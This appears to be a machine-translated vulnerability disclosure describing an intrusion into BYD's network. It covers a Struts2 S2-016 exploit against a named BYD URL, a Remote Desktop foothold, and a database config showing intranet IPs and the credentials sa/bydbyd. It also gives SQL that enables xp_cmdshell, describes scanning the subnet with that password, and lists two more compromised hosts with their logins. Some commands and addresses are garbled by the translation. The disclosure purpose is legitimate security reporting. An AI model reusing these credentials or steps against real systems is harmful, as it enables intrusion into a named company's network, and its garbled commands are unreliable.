Intranet roaming caused by a system command execution by BYD

Intranet roaming caused by a system command execution by BYD

I mentioned earlier that there may be many servers running commands on the BYD Internet, and it can also be used as a boundary server to roam the Intranet.

Http://csm.byd.com.cn/homeAction.action

S2-016
 

Create a test user and connect to the Remote Desktop. There is an intranet IP Address:
 

On this compute:

Database Configuration Information discovered:

<Bean id = "dataSource" class = "org. apache. commons. dbcp. BasicDataSource" destroy-method = "close"> <! -- SQL Server 2005 for microsoft --> <! -- <Property name = "driverClassName" value = "com. microsoft. sqlserver. jdbc. SQLServerDriver "/> <property name =" url "value =" jdbc: sqlserver: // 10.12.3.143 (137): 1433; databaseName = cms "/> --> <! -SQL Server 2005 for jtds --> <property name = "driverClassName" value = "net. sourceforge. jtds. jdbc. Driver"/> <! -- Official --> <property name = "url" value = "jdbc: jtds: sqlserver: // 10.12.3.20.: 1433/cms"/> <! -- Test --> <! -- <Property name = "url" value = "jdbc: jtds: sqlserver: // 10.12.3.143: 1433/cms "/> --> <property name =" username "value =" sa "/> <property name =" password "value =" bydbyd "/>

Sa permission, privilege escalation, and blocking cmshell Security Options

Directly link the sa to execute the SQL statement and restore it (so this reinforcement is not thorough and you cannot grant the sa permission to common web users at Will ):

EXEC sp_configure 'show advanced options', 1 --

Reconfigure with override --

EXEC sp_configure 'xp _ Your shell', 1 --

Reconfigure with override --

EXEC sp_configure 'show advanced options', 0 --

Then raise the permission to create a test user connection:

This time it should be the core Intranet. I checked the nearby servers:
 

Use the same weak password to scan the 10.12.3. * network segment:

Two more Intranet hosts can be Elevation of Privilege:

10.12.3.126 --- sa/bydbyd



10.12.3.143 --- sa/bydbyd



No more in-depth ~


 

Solution:

The network configuration of border problems is very important. The permissions in O & M also need to be enhanced ~